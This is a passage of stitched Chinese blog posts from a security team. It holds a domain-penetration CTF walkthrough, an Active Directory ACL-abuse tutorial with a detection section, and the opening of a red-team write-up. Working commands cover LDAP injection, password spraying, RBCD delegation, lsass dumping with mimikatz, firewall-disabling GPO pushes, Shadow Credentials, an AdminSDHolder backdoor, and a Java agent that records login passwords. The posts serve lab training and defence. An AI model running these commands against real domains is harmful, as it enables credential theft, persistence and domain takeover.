如果是 ldap 验证的话，在这里可以尝试利用 ldap 注入，来进行测试，账户登录一般使用filter加上对应的ldap语法去对值进行匹配，在语法中*表示匹配所有。通过在 ldap 登录处尝试输入通配符*，使其成功匹配。发现可以成功登录。

在登录过后发现，存在几百个用户，到这一步，我们就获取到了域内存在的账户，正常来说我们可以尝试直接对账户进行密码喷洒，但是对全部账户进行喷洒的话，动静会很大。这一步暂且停止。

通过观察之前的登录页面发现具有查询手机号和邮箱这两个选项，抓包发现其中的 attr 参数中的值，为 ldap 目录中用户对应的属性名，如 email 为userprincipalname,手机号为homePhone，这里笔者想既然应用直接使用用户属性中的名称，那么能否将该值设置为用户中的其他属性，从而显示其他的内容呢？

结合上面遇到的问题，可以通过对域内账户的权限进行判断，找到一些合适的账户。对于账户权限的判断，在 ldap 中可以通过用户属性useraccountcontrol对账户状态进行判断。

ldap 账户状态判断

这里通过将 attr 的值设置为useraccountcontrol，进行测试，发现能够成功查询，接下来可以利用它显示出来的内容判断用户的权限。

（对该属性的值做一个简单解释）一个账户具有不同的属性，而这个值就是不同属性相加之后得到的值。514=512+2=账号存在且关闭 66048=65536+512=密码永不过期+账号正常

这里发现大部分账户的权限都为 514 也就是不可登录，我们筛选出 66048 的账户。收集为66048的账号：weishen weishentql dashe dashenb weizi666 weizi

收集到可以登录的账户后对账户进行密码喷洒，找到能够进行登录的账号。

ldap 账户喷洒

这里配合上面的 readme.txt 文件中提示的密码对 ldap 账户进行喷洒。喷洒工具可以使用 3gstudent 师傅编写的一款喷洒 ldap 账户密码的 powershell 程序。

工具地址：https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1

Set-ExecutionPolicy Bypass
Import-Module .\ldap_password.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -Domain "10.0.0.10/DC=ds,DC=local" -UserList .\user.txt -Password p@ssw0rd -Verbose

这里通过对密码进行喷洒，我们获取可以登录的 ldap 凭证，然后我们可以利用这个凭证直接访问 ldap 数据库，查询其中的 ldap 信息，为了便于分析我们也可以通过 Adfind 将该域的 ldap 全部下载到本地进行查看。

dns 信息导出

在一些域内有些机器可能被设置了防火墙，从而无法被扫描到。当我们获得凭证了，为了获取更为详细的域内机器，可以对域控 dns 服务器中的 DNS 信息进行查询，从而获取到一些被防火墙忽略的机器。

可以利用 adidnsdump 项目，来获取域控中的 dns 信息 https://github.com/dirkjanm/adidnsdump

可以发现域中还存在 10.0.0.12 这台机器没有被扫描到。

ldap 信息导出及分析

使用下面的语句可以从域外进行 ldap 信息的获取

Adfind.exe * -h 10.0.0.10 -u  -up  > info.txt

将 ldap 导入到本地后。我们对文件进行分析，可以了解目前的域环境。主要关注域策略，账户、机器、组之间的关系。

通过 ldap 信息，我们可以获取组策略中的一些信息，密码尝试次数，过期时间，如果需要进一步喷洒，可以参考这些信息，对自己的喷洒方案进行调整。

尝试定位到用户。查看对应 ldap 内容可以了解该对象的常见的属性。

用户的话一般关注以下属性 whenCreated(创建时间) memberOf(所属组) userAccountControl(权限) lastLogon(上次登录时间) pwdLastSet(上次密码修改时间) lastLogonTimestamp(上次登录时间) 通过这些可以确定账户的权限，账户当前的状态。

在对机器的 ldap 信息进行查看时发现，这里机器中存在 mS-DS-CreatorSID 这个属性，如果存在这个属性的话，表示这台机器是由某个域用户加入机器的，该域用户对该机器具有 msDS-AllowedToActOnBehalfOfOtherIdentity 权限，如果控制了这个账户那么就等于拿下了对应的机器

接下来查询具有 mS-DS-CreatorSID 属性的机器AdFind.exe -h 10.0.0.10 -u dashe -up "p@ssw0rd" -b "DC=ds,DC=local" -f "objectClass=computer" mS-DS-CreatorSID

发现机器是由 SID 为S-1-5-21-1946571181-3420340102-3117322147-1106 的用户拉入域。该用户对该机器有控制权。通过搜索 SID，发现该用户为dashe

基于资源的约束委派

若要利用基于资源的约束委派攻击，需要有权限控制机器账户中的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，之后我们需要利用当前域账户建立一个机器账户。之后使用该机器账户去向该机器进行委派。

在上文中提到经过验证的域账户具有将域外主机拉入域内的功能，这是由 MAQ(MachineAccountQuota)进行的，MAQ 允许域用户将计算机帐户对象添加到域。默认情况下，普通域账户可以创建 10 个计算机帐户。通过 MAQ 创建的账户会存放在域计算机组中。同时域用户对于他创建的机器账户具有对象属性的访问权限如(msDS-AllowedToActOnBehalfOfOtherIdentity)

同时通过之前的 ldap，也能查询到对应的信息。

利用 impacket-addcompute 在域外添加服务账户

impacket-addcomputer "ds.local/dashe:p@ssw0rd" -dc-ip 10.0.0.10 -computer-name test_computer598$ -computer-pass p@ssw0rd

相比较于非约束委派，约束委派是正向委派，由用户主动发起。接下来利用 impacket 套件中的 rbcd 将 win8 机器与服务账户 test_computer598$建立委派。

impacket-rbcd -delegate-to win8$ -delegate-from test_computer598$ -dc-ip 10.0.0.10 ds/dashe:p@ssw0rd -action write

票据导出

当建立委派之后进行票据导出

impacket-getST -dc-ip 10.0.0.10 ds.local/test_computer598\$:p@ssw0rd -spn cifs/win8.ds.local -impersonate administrator

在进行票据导出的时候有一个需要注意的地方，这步操作需要与域控进行交互，所以需要与域控的时间同步。

在操作时如果提示 clock Skew too great，就是由于时间没有同步造成的。

经过搜索相关的资料发现可以使用下面的命令，将域控时间和本机时间直接同步sudo ntpdate 10.0.0.10

导入票据

export KRB5CCNAME=administrator.ccache

dumphash

导入完该票据后，我们可以利用impacket-smbclient来上传 mimikatz 等工具来获取用户 hash，这里笔者使用 procdump 获取 dmp 文件，本机 mimikatz 解析的方式获取 hash。

上传 procdump

impacket-smbclient administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10
info
use c$
put procdump64.exe

这里如果出现无法连接445的错误，是因为目前机器是在域外，没有域控的路由表，可以手动修改 hosts 文件。将 win8.ds.local 与他的 ip 对应。

vim /etc/hosts
sudo /etc/init.d/networking restart

也可以直接将域控的 ip，设置为本机的 dns 服务器

命令执行

利用impacket-smbexec执行命令，使 procdump 获取 dmp 文件

impacket-smbexec administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

导出下载

本地利用 mimikatz 解析 lsass.dmp 文件通过查看 lsass.dmp 解密出来的 hash，发现域管曾经登录过这台机器。从而拿到域管账户。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > pssword.txt

接下来对 10.0.0.12 机器进行扫描，发现该机器不通，通过查看 ldap 文档中 lastLogon 属性的值，确定最后登录的时间，判断该机器是否存活。

利用 windows 中的 w32tm.exe 可以对其进行解密，发现最后登录的时间是 4 月 28 号，判断应该是防火墙的原因导致不通。w32tm.exe /ntte xxxxxxxx

既然我们拿到了域管的账户，接下来登录域控，进行 GPO 策略的下发，从而关闭目标机器的防火墙，但是发现无法进行 rdp 连接。只能想办法通过使用命令的方式去添加 GPO。

GPO 下发

使用命令创建策略可以利用 github 上面的 pyGPOAbuse 项目实现。https://github.com/Hackndo/pyGPOAbuse

安装时有一个需要注意的地方，使用 pyGPOAbuse 的时候，python 需要大于 3.8，不然安装 msldap 的时候会产生错误。

这里指定域管的账户，与对应的 ntlmhash，gpo_id，域控的地址。进行组策略的创建。需要注意的是此处的GPO-id为默认域 GPO 的组策略 id。默认的组策略主要有两个：一个是域控的策略(6AC1786C-016F-11D2-945F-00C04fB984F9) 一个是域机器的策略(31b2f340-016d-11d2-945f-00c04fb984f9) 这里因为目标机器是域机器，我们需要使用 31b2f340-016d-11d2-945f-00c04fb984f9 作为组策略 id。

python3 pygpoabuse.py ds.local/administrator -hashes :f1b7ec38edc8b8046053884234a9d01a -gpo-id "31b2f340-016d-11d2-945f-00c04fb984f9" -powershell -command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False" -taskname "Completely Legit Task" -description "Dis is legit, pliz no delete" -dc-ip 10.0.0.10 -v

组策略添加成功

之后等待目标机器执行组策略，执行策略后防火墙会关闭。

flag 获取

之后可以通过 psexec 明文密码的方式访问目标机器获取 flag。

总结

本环境在域渗透中属于基础知识，其中大多的技术点都是围绕 ldap 展开，之后利用委派拿下机器，dump 域管 hash，下发 gpo 关闭目标防火墙，获取 flag。实际上对于获取 ldap 信息之后的利用也远远不止上面提到的内容。师傅们也可以继续查询相关的内容。

参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E6%99%AE%E9%80%9A%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E8%8E%B7%E5%BE%97DNS%E8%AE%B0%E5%BD%95

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

https://www.4hou.com/posts/K5MR

https://myzxcg.com/2021/09/%E5%9F%9F%E7%94%A8%E6%88%B7%E5%8F%A3%E4%BB%A4%E7%AD%96%E7%95%A5%E4%B8%8E%E6%9A%B4%E7%A0%B4/

https://www.netspi.com/blog/technical/network-penetration-testing/5-ways-to-find-systems-running-domain-admin-processes/

https://xz.aliyun.com/t/11555

环境获取

本挑战为xbitsplatform公开环境，师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具，和ldap的相关笔记也会上传到知识星球。

知识星球

团队其他文章

域渗透-一文了解lsass内存转储攻防技术

记一次团队内部的红蓝对抗-攻击篇

Java安全-记一次实战使用memoryshell

了解更多关于xbitsplatform的信息：

xBitsPlatform使用说明

xBitsPlatform公测版正式上线啦

加入内部讨论群

阅读原文

跳转微信打开

域渗透-How2PwnACLs

Fri, 21 Apr 2023 09:20:00 +0800

7bits安全团队 2023-04-21 09:20 江苏

该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。

序言

ACL在域里算比较复杂的知识，笔者原本熟悉程度也比较一般。但作为内网基础知识，还是有必要掌握的。以下是笔者学习的一些笔记并配套了对应的实战环境，目前环境作为私有挑战已上线xbitsplatform靶场平台。

该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。

ACL概念

访问控制列表 (ACL) 是访问控制条目 (ACE) 的列表。ACL 中的每个 ACE 都标识一个受托者，并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL：DACL 和 SACL。

使用ADSI edit连接域后，可以看到某个域Object的acl，如下图。列表中的每一条即为ACE。代表以用户bob为主体，描述哪些对象对bob有什么样的权限。

具体打开一条ace，看到域管组对用户bob有一系列的权限：

如何查看ACL

刚才我们通过图形化界面查看了域对象的ACL，在渗透测试中往往使用命令行操作更加方便。我们将做个实验来比较几个工具的优劣:

我们手动增加了用户Apache对bob的完全访问权限:

Active Directory Module

安装：

import-module ActiveDirectory

使用:

(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access

可以看到Apache用户对bob有GenericAll权限

Powerview

Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

和Active Directory Module相比多了一些字段，但少了IdentityReference，导致看起来不直观：

不知道是不是版本问题，和其他人的工具会不一样。不过可以根据SecurityIdentifier指向的sid知道是谁作用于bob。

dsacls.exe

dsacls "CN=bob,CN=Users,DC=cia,DC=gov"

结果比较明了，直接就是FULL CONTROL。

特殊ACEs

但如果我们给的权限只是列表中的一小点，那么看到的结果需要解读，比如我们看到：

表示CIA\Exchange Trusted Subsystem对bob用户的GUID为bf967a06-0de6-11d0-a285-00aa003049e2的属性有WriteProperty权限。

我们可以通过脚本转换GUID：

$ObjectTypeGUID = @{}
 
$GetADObjectParameter=@{
    SearchBase=(Get-ADRootDSE).SchemaNamingContext
    LDAPFilter='(SchemaIDGUID=*)'
    Properties=@("Name", "SchemaIDGUID")
}
 
$SchGUID=Get-ADObject @GetADObjectParameter
    Foreach ($SchemaItem in $SchGUID){
    $ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name)
}
 
$ADObjExtPar=@{
    SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)"
    LDAPFilter='(ObjectClass=ControlAccessRight)'
    Properties=@("Name", "RightsGUID")
}
 
$SchExtGUID=Get-ADObject @ADObjExtPar
    ForEach($SchExtItem in $SchExtGUID){
    $ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name)
}
 
$ObjectTypeGUID | Format-Table -AutoSize
 
$ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2']

结果：

即：CIA\Exchange Trusted Subsystem对bob用户的E-mail-Addresses属性有WriteProperty权限。

powerview也可以针对具体某一条查询：

dsacls.exe结果比较简单，只能查询基础ACL，如GenericAll、WriteDAcl等，但胜在能远程查询，其他工具需要在域的上下文中使用：

dsacls.exe "\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov"

如何赋权

可以使用dsacls进行普通赋权，如WriteACL、GenericAll等。特殊权限可以使用图形化的ADSI远程登录进行修改。

dsacls "\\10.0.1.100\CN=Brandi.Khan,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Amy.Gibson:WD"
dsacls "\\10.0.1.100\CN=Carol.Dean,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Brandi.Khan:GA"
dsacls "\\10.0.1.100\CN=IT administrators,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Jane.Ward:GA"

编程实现

很多国外文章都使用BloodHound检测acl，我们看看如何实现：https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs

首先从ldap信息里得到ntsecuritydescriptor：

笔者以往导出ldap信息笔者用的最多的是dsquery，并不会导出acl相关的信息。印象中adfind可以导出sddlstring：

AdFind -b "OU=Employee,DC=Contoso,DC=Com" -s base nTSecurityDescriptor -sddl++ -resolvesids

在https://social.technet.microsoft.com/wiki/contents/articles/6477.active-directory-how-to-view-or-delete-delegated-permissions.aspx?Sort=MostRecent&PageIndex=1这篇文章中发现了很多可以操作ACL的工具。

后续很简单，将数据初始化成ActiveDirectorySecurity实例，取需要的字段与对应值即可：

经过过滤找出允许GenericAll、Write Dacl、Write Owner的aces，之后对特殊的aces进行过滤，主要包括：

1.对DCSYNC权限相关的权限进行检测：

目前dcsync的分析比较透彻了，以下是进行dcsync需要的权限：

2.对ForceChangePassword的检测

3.对ldps进行检查，通过laps可以获取机器本地管理员密码

4.对操作spn及增加用户检查

这里有几个objectAceType为allguid，是00000000-0000-0000-0000-000000000000即作用于所有权限。

解释了上文提到的特殊aces和常规aces作用对象的区别。

二次开发

sharpHound要在域内机器运行，局限性比较大，简单做个二开，增加了远程认证：

工具最后输出对整个域进行安全评估，以下是使用流程：

首先增加到dc的dns解析执行：

7bitsPwnACLs.exe "pwn.local\Amy.Gibson" "7Bits@Templete"  > all.txt

获得yin的结果：

标红的都属于非系统默认的ACL的账户，看起来就非常异常。查找具体的规则：

可以看到Amy.Gibson对Brandi.Khan的00000000-0000-0000-0000-000000000000(即所有属性)有writeDACL权限。

脆弱性利用

不安全的配置导致权限提升

需要重点关注的ACE如下：

ForceChangePassword：强制改变当下的密码
 
AddMembers：可以对目标组添加用户（包括自己的账户）
 
GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面
 
GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行
 
WriteOwne：更新目标对象的所有者，可以让自己成为所有者
 
WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权
 
AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。

这些权限可以帮助我们进行一定程度的提权，但一般我们选择对目标破坏性最小的一些方案。

实战案例

我们现在拥有Amy.Gibson的账户密码，可以导出ACL及ldap信息：

Amy.Gibson在ldap方面仅仅是一个普通用户，没有什么可以利用的地方：

objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Amy.Gibson
distinguishedName: CN=Amy.Gibson,CN=Users,DC=pwn,DC=local
instanceType: 4
whenCreated: 04/16/2023 05:29:00
whenChanged: 04/16/2023 06:05:55
uSNCreated: 12880
uSNChanged: 13096
name: Amy.Gibson
objectGUID: {9C994167-7B22-4979-98A1-712505B8E69B}
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 133260965408921060
primaryGroupID: 513
objectSid: S-1-5-21-1540577040-1432127714-718651653-1111
accountExpires: 0
logonCount: 0
sAMAccountName: Amy.Gibson
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pwn,DC=local
dSCorePropagationData: 01/01/1601 00:00:00
lastLogonTimestamp: 133260987556163029
ADsPath: LDAP://dc.pwn.local/CN=Amy.Gibson,CN=Users,DC=pwn,DC=local

查看整域的acl，可以看到有几个账户都有异常的权限：

[+] show WriteDACLoperation
Administrators
Domain Admins
Enterprise Admins
Account Operators
Amy.Gibson
Brandi.Khan
Jane.Ward

writeDACL on users(Amy.Gibson -> Brandi.Khan)

查看完整的acl信息，Amy.Gibson 对 Brandi.Khan 有writeDACL权限:

Amy.Gibson has WriteDacl to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1115, CN=Brandi.Khan,CN=Users,DC=pwn,DC=local]

我们可以通过远程直接使用ADSI edit赋予Brandi.Khan用户GenericAll权限，普通win10安装域功能后自带该工具：

设置连接参数：

修改Brandi.Khan的权限：

我们现在有Brandi.Khan账户的权限，暴力一些可以直接修改Brandi.Khan的密码，但在实际渗透中不会选择这样做。想要获取其密码我们可以使用targetedKerberoast技术。

targetedKerberoast

这种技术解释起来很简单，就是有修改某一个账户权限的时候给这个账户新增一个spn，之后使用keberoasting破解密码即可。

使用https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：

最后会自动删除spn。

进行破解，获得Brandi.Khan的密码：

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

获得Brandi.Khan的密码P@ssw0rd。

ShadowCredentials(Brandi.Khan -> Carol.Dean)

通过targetedKerberoast我们已经拥有了Brandi.Khan权限，查看Brandi.Khan相关的acl：

Brandi.Khan has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1141, CN=Carol.Dean,CN=Users,DC=pwn,DC=local]

发现Brandi.Khan对Carol.Dean有GenericAll权限，除了targetedKerberoast技术，我们还可以使用Shadow Credentials技术。

Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性，msDS-KeyCredentialLink可以设置公私密钥身份验证凭据，并使用它们获取特殊服务票证，该票证在您可以解密的加密 NTLM_SUPPLEMENTAL_CREDENTIAL 实体中的特权属性证书 (PAC) 中包含其 NTLM 哈希。

使用工具https://github.com/ShutdownRepo/pywhisker进行利用:

python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1

利用成功：

生成了证书及密码文件，使用证书进行认证：

python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache
set KRB5CCNAME=Carol.Dean.ccache
python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean

清理后门：

python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear"

ForceChangePassword(Carol.Dean -> Jane.Ward)

Carol.Dean有Jane.Ward的ForceChangePassword权限

Carol.Dean has WriteProperty to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]
Carol.Dean has ExtendedRight to 00299570-246d-11d0-a768-00aa006e0529 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local]

我们可以通过远程MSRPC-SAMR协议修改Jane.Ward的密码，rpcclient默认支持hash认证：

rpcclient -U "pwn\Carol.Dean" //10.0.1.100 --pw-nt-hash
>input nthash
rpcclient $> setuserinfo2
setuserinfo2 Jane.Ward 23 Admin7Bits

通过MSRPC我们成功远程修改了Jane.Ward用户的密码。

GenericAll on groups(Jane.Ward -> account opertaors)

Jane.Ward拥有对IT administrators组的GenericAll权限：

Jane.Ward has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1152, CN=IT administrators,CN=Users,DC=pwn,DC=local]

通过ldap信息，我们知道IT administrators 是 account opertaors组的成员：

objectClass: top
objectClass: group
cn: IT administrators
distinguishedName: CN=IT administrators,CN=Users,DC=pwn,DC=local
instanceType: 4
whenCreated: 04/16/2023 09:53:05
whenChanged: 04/16/2023 10:55:21
uSNCreated: 13114
memberOf: CN=Account Operators,CN=Builtin,DC=pwn,DC=local
uSNChanged: 13126
name: IT administrators
objectGUID: {D29F7FE0-13E1-4A20-A46B-63D9BD30D6AD}
objectSid: S-1-5-21-1540577040-1432127714-718651653-1152
adminCount: 1
sAMAccountName: IT administrators
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pwn,DC=local
dSCorePropagationData: 04/16/2023 10:55:21
dSCorePropagationData: 04/16/2023 09:59:26
dSCorePropagationData: 01/01/1601 00:00:00
ADsPath: LDAP://dc.pwn.local/CN=IT administrators,CN=Users,DC=pwn,DC=local

即Jane.Ward可以通过操作IT administrators组成员达到操作account opertaors组的目的。

关于远程加组的操作，可以使用linux下的net

net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100

通过ldap信息发现已经成功加入组：

RBCD(account opertaors -> FLAG$)

最终转化为拥有account opertaors组成员如何提权的问题。

account opertaors组可以操作除了域管组或Administrators组的成员。想要进一步渗透需要借助rbcd技术。(RBCD) Resource-based constrained即基于资源的约束委派。

RBCD简单来说就是控制机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，该属性指向一个域用户。表示该用户拥有机器的某一服务权限，如LDAP/SMB等，相当于这台机器的隐藏后门。

account opertaors是拥有域内普通机器的修改权限的：

因为设置RBCD需要一个拥有spn的账户，一般用户是没有的。机器账户自带一些spn，所以选择新增一个机器账户，默认一个用户可以新增10个机器账户：

python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits

使用https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：

python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits

笔者这里是windows环境，使用Rubeus工具申请tgt，使用s4u模拟成administrator并smb访问：

Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt

后门技术

AdminSDHolder 修改是一种持久性技术，攻击者滥用 Active Directory 中的 SDProp 进程来建立 Active Directory 的持久性后门。每小时（默认情况下），SDProp 将 Active Directory 中受保护对象（例如，具有域管理员权限的用户）的权限与在称为 AdminSDHolder 的特殊容器上定义的权限进行比较。如果它们不同，它将用 AdminSDHolder 上定义的权限替换受保护对象的权限。因此，修改 AdminSDHolder 容器的对手可以建立影子管理路径和重新获得对 Active Directory 的管理访问权限的方法。

被保护的用户组如下：

Account Operators
Backup Operators
Server Operators
Print Operators
Domain Admins
Replicator
Enterprise Admins
Domain Controllers
Read-only Domain Controllers
Schema Admins
Administrators

利用起来比较简单：

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All

使用 PowerSploit 的 Add-DomainObjectACL cmdlet 将 AdminSDHolder容器上的所有权限授予一个普通账户。下次SDProp进程运行时，普通账户的GenericAll权限将应用于所有受保护的对象。

检测

默认情况下远程对acl的访问、修改不会产生明显日志。需要手动开启审计日志的DS访问：

比如adminsdholder后门，日志id为5136，且ldap属性AttributeLDAPDisplayName为nTSecurityDescriptor安全描述符。

过滤起来就相当容易:


  "0" Path="Security">
    "Security">
*[System[(EventID=5136)]]
and
*[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and
*[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]

可以通过powershell将日志中的sddlstring转为可见的模式：

总结

acl相关的信息源自ldap信息中的安全描述符，读取的风险系数并不高。但对于获取ldap信息都有限制的环境需要谨慎。
修改安全描述符在开启审计日志的情况下比较容易检测，属于高危行为。在利用的时候需要通过GPO确认是否开启了审计日志。

环境获取

本挑战为xbitsplatform私有环境，xbitsplatform邀请码现通过知识星球活动获取：

同时我们也提供完全免费的公开综合靶场环境，如：

记一次团队内部的红蓝对抗-攻击篇

了解更多关于xbitsplatform的信息：

xBitsPlatform使用说明

xBitsPlatform公测版正式上线啦

加入内部讨论群

参考

https://www.secframe.com/blog/2019/account-operators-attacked/

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

https://www.thehacker.recipes/ad/movement/dacl

https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/

https://powersploit.readthedocs.io/en/latest/

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse

https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#context

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

https://www.netwrix.com/adminsdholder_modification_ad_persistence.html

阅读原文

跳转微信打开

记一次团队内部的红蓝对抗-攻击篇

Thu, 13 Apr 2023 09:30:00 +0800

原创 7bits安全团队 2023-04-13 09:30 江苏

记一次团队内部的红蓝对抗-攻击篇

任务目标

获取到dashe的protonmail邮件：

攻击路径

涉及的主要知识点

• cve-2022-36804
• javaAgent内存马记录密码
• .net machiney反序列化漏洞
• AV/EDR Bypass
• 代理技术
• mssql CLR 提权
• kerberosting
• ADCS域提权
• dpapi
• mfa绕过
• ......

机器情况

• bitbucket 192.168.112.159 [7990]
• web01 192.168.112.101 [80]
• sql01 192.168.112.201 [1433]
• adcs 192.168.112.230 [135,445,80]
• dc01 192.168.112.100 [135,445,389,88]
• dashe-pc 192.168.112.50 [445,135]

bitbucket

通过cve-2022-36804成功执行命令：

命令执行回显会被特殊字符截断且目标不出网，使用base64命令绕过限制获得完整回显：

简单进行信息搜集后，判断该机器为docker服务器且处于独立的vlan，无法与192.168.112.24/24通信。

深入利用

bitbucket为Atlassian公司生产的代码托管平台，主要技术栈为java：

很自然我们想到通过该平台获取到代码的源码或域凭据。一般来说常见的代码托管平台就gitlab和bitbucket这两个系列，两种应用的存储实现都是用本地文件+数据库的方式，本地文件是加密的。想要获取源文件需要详细分析系统的功能。

对于一线的红队工程师而言，我们可以选择一些其他的手段达到同样的效果。笔者这里使用记录明文密码的方式结合系统功能获取目标源码。

对于这种java系统，记录密码一般操作大概有三种：

1. 前端js挂马
2. 修改login.jsp文件，如zimbra的密码记录
3. 从内存的角度解决

这里选择了第三种方式，方案1不可行是因为当前为bitbucket权限，不具备修改js文件的权限。方案2不可行是因为不存在这样的登录入口，登录接口如下：

考虑从内存角度对请求进行hook，当前漏洞原理是命令的拼接实现rce，我们需要通过执行命令的方式修改jvm虚拟机正在执行的代码，这种技术就是javaAgent。

寻找已有的轮子进行修改，选择的项目为：https://github.com/threedr3am/ZhouYu

经过一番测试发现能hook到除了访问j_atl_security_check认证包之外的请求，并不能hook到认证请求。

经过一番测试，发现原版本周瑜HOOK的几个函数对这个认证请求不生效，针对bitbucket笔者找到了登录的函数，修改被hook的函数列表：

并且修改插入的代码：

直接编译https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed项目，需要带着依赖一起编译，agent-1.0-SNAPSHOT.jar编译结果约8m。

如何通过GET请求执行命令且不出网的环境上传一个8m的文件是一个较大的问题。笔者采用笨办法将文件base64后切片，用多个get请求上传，如果有bitbucket项目的修改权限，直接上传到一个项目用curl等命令下载即可。这里没有对应的项目权限。

写脚本自动上传，只能get请求还是相当恶心，这里传了2000多个包才成功：

上传的时候有一些要注意的地方，+在漏洞利用截断会被当成url解码，笔者这里使用*替代了+,上传后还需要用sed替换"\n"和*才能获得正常的base64：

sed ":a;N;s/\n//g;ta" /var/tmp/1.txt > /var/tmp/2.txt
sed -i "s/*/+/g" /var/tmp/2.txt
cat 2.txt | base64 -d > /tmp/agent-1.0-SNAPSHOT.jar

上传成功后，需要将该jar包注入的bitbucket进程中，使用比较简单的注入程序:

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
 
import java.io.File;
import java.util.List;
 
